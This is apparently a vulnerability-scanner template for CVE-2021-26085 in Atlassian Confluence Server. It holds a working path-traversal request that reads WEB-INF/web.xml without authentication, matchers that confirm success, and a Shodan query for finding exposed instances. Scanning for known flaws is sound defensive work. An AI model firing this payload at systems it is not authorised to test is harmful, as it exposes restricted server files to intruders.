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id : CVE-2021-26085
2022-04-22 10:38:41 +00:00
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info :
name : Confluence Pre-Authorization Arbitrary File Read in /s/ endpoint - CVE-2021-26085
author : princechaddha
severity : medium
description : Affected versions of Atlassian Confluence Server allow remote attackers to view restricted resources via a Pre-Authorization Arbitrary File Read vulnerability in the /s/ endpoint.
reference :
- https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-26085
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- https://jira.atlassian.com/browse/CONFSERVER-67893
- http://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score : 5.3
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cve-id : CVE-2021-26085
cwe-id : CWE-862
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metadata :
shodan-query : http.component:"Atlassian Confluence"
tags : cve,cve2021,confluence,atlassian,lfi
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requests :
- method : GET
path :
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- "{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"
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matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
part : body
words :
- "<display-name>Confluence</display-name>"
- "com.atlassian.confluence.setup.ConfluenceAppConfig"
condition : and